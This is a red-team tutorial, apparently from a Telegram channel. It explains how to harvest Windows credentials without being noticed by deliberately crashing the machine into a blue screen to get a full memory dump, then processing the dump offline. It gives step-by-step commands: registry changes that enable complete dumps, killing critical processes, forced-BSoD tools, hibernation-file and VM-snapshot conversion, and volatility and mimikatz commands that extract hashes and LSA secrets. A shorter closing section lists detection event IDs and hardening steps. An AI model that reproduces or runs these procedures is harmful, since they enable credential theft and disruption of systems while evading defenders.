💀 Windows | Get passwords no one notices 🔑

Demo: https://t.me/DefenseEvasion/38

Intro

Local and domain cached credentials, tickets and so on are located on your RAM. But real-time extraction is noisy and can be easily detected.

One of existing solutions is to crash target system to get full memory dump, exfiltrate the file and process it remotely to defense evasion.

In this article

• How to prepare the system to BSoD
• How to BSoD
• If not BSoD, where to get passwords from?
• Hiberfil.sys file
• VM snaphots
• How to extract credentials
• Squeezing every last drop of RAM to gather information
• Blue team tips
• Detection
• Hardening

Before we BSoD

0. Check if there is enough disk space to memory dump

Full memory dump occupies as much disk space as RAM stores. If disk space is too low, this technique will not work

1. Make sure complete memory dump enabled

(Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\CrashControl -Name CrashDumpEnabled).CrashDumpEnabled -eq 1

1*. Enable if necessary

• GUI (System properties --> Advanced system settings --> Advanced --> Startup and Recovery --> Settings)

• cmd.exe

reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /t REG_DWORD /v CrashDumpEnabled /d 1 /f

• PowerShell

Set-ItemProperty HKLM:\System\CurrentControlSet\Control\CrashControl -Name CrashDumpEnabled -Value 1 -Type DWord

• Registry Editor (regedit.exe)

2. Make sure MEMORY.DMP file can be created

(Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\CrashControl -Name Overwrite).Overwrite -eq 1

2*. Allow if necessary

• cmd.exe

reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /t REG_DWORD /v Overwrite /d 1 /f

• PowerShell

Set-ItemProperty HKLM:\System\CurrentControlSet\Control\CrashControl -Name Overwrite -Value 1 -Type DWord

• Registry Editor (regedit.exe)

3. Make sure pagefile.sys size is enough

For Complete memory dump %SystemDrive%\pagefile.sys must be >= RAM size + 257 MB

How to BSoD

1. Terminate a critical process

• Windows 7: csrss.exe
• Windows 7, 8: wininit.exe
• Windows 10, 11: svchost.exe

Example

taskkill /im csrss.exe /f
taskkill /im wininit.exe /f
taskkill /im svchost.exe /f

2. Start a critical process

• wininit.exe

Example

wininit

3. Start and kill your own critical process

C# implementation: https://github.com/GrumpBoat/ForceBSOD

Example

ForceBSOD.exe

4. Ask a driver to cause problems

The custom driver can be used to generate BSoD. For example, NotMyFault from Sysinternals package works this way.

Sysinternals implementation: https://learn.microsoft.com/en-us/sysinternals/downloads/notmyfault

Supports both GUI and CLI and several ways to crash the system.

Example

notmyfault.exe /crash

5*. CrashOnCtrlScroll

Set registry values depending on your keyboard. Create REG_DWORD CrashOnCtrlScroll and set 0x1 value under:

• PS/2: HKLM\System\CurrentControlSet\Services\i8042prt\Parameters
• USB: HKLM\System\CurrentControlSet\Services\kbdhid\Parameters
• Hyper-V: HKLM\System\CurrentControlSet\Services\hyperkbd\Parameters

Example

Press and hold the Rightmost Ctrl and then press Scroll Lock twice

6*. Raise a NtRaiseHardError

Tools:

• https://github.com/peewpw/Invoke-BSOD/tree/master
• https://github.com/u0932478239/no-admin-bsod
• https://github.com/blueskychan-dev/FuckedUP

What else if not RAM?

1. Hiberfil.sys

Path: %SystemDrive%\hiberfil.sys

It stores compressed RAM before the system go to sleep / hibernation state. So you need to decompress it first.

Hibr2Dmp.exe D:\Dumps\hiberfil.sys D:\Dumps\hiberfil.dmp

py vol.py -f D:\Dumps\hiberfil.sys imageinfo
py vol.py -f D:\Dumps\hiberfil.sys imagecopy --profile=<your_profile> -O D:\Dumps\hiberfil.raw
py vol.py -f D:\Dumps\hiberfil.raw --profile=<your_profile> raw2dmp -O D:\Dumps\hiberfil.dmp

2. Virtual Machine snaphot

vmss2core.exe -W D:\Dumps\snapshot.vmsn D:\Dumps\snapshot.vmem    

How to extract credentials

volatility3

py vol.py -f MEMORY.DMP windows.cachedump.Cachedump
py vol.py -f MEMORY.DMP windows.hashdump.Hashdump
py vol.py -f MEMORY.DMP windows.lsadump.Lsadump

WinDbg + mimilib.dll

1. Load a crash dump
2. Load mimilib.dll using commands listed below

.load D:\Tools\mimilib.dll
!process 0 0 lsass.exe
.process /r /p <NUMBER_FROM_PREVIOUS_STEP>
!mimikatz    

rekall + mimikatz plugin

Outdated and not recommended to use

🎁 Bonus

RAM also contains a lot of useful information:

• browsers' data
• password managers' data
• registry
• all running processes

🔵 Detection

1. Security EventID 4688, Sysmon EventID 1, PowerShell/Operational EventID 4104

1.1. Process Command Line

wmic recoveros set WriteToSystemLog = False
wmic recoveros set DebugInfoType = 1
wmic recoveros set DebugFilePath = <path>
wmic recoveros set OverwriteExistingDebugFile = 1
reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /t REG_DWORD /v CrashDumpEnabled /d 1 /f
Set-ItemProperty HKLM:\System\CurrentControlSet\Control\CrashControl -Name CrashDumpEnabled -Value 1 -Type DWord
taskkill /im <critical_process_name>
Stop-Process <critical_process_name>

2. Sysmon EventID 13

2.1. Suspicious params of the memory crash dump

2.2. NotMyFault

2.3. CrashOnCtrlScroll

3. Security EventID 4697, System EventID 7045

3.1. NotMyFault

4. Sysmon EventID 11

4.1. Crash dump creation

4.2. NotMyFault

5. System EventID 12, 6008, 1001

5.1. EventID 12

Failed to save a crash dump

5.2. EventID 6008

5.3. EventID 1001

BSoD has occured

6. Sysmon EventID 6

6.1. NotMyFault

Every time NotMyFault launches, this Sysmon EventID 6 is generated

7. Security EventID 4663

auditpol /set /subcategory:"File System" /success:enable

💪🏻 Hardening

1. Turn off hibernation

powercfg /hibernate off

2. Restrict access to crash dumps files

Save crash dumps to folders which can be accessed by special users only (strong DACL)

3. Do not allow full memory dump

Configure GPO to periodically check CrashControl params, log a crash event to Event Log and disable full memory dump

reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /t REG_DWORD /v LogEvent /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /t REG_DWORD /v CrashDumpEnabled /d 0 /f

4. Set VM snaphots retention

5. Periodically change passwords

Once a 30-45 days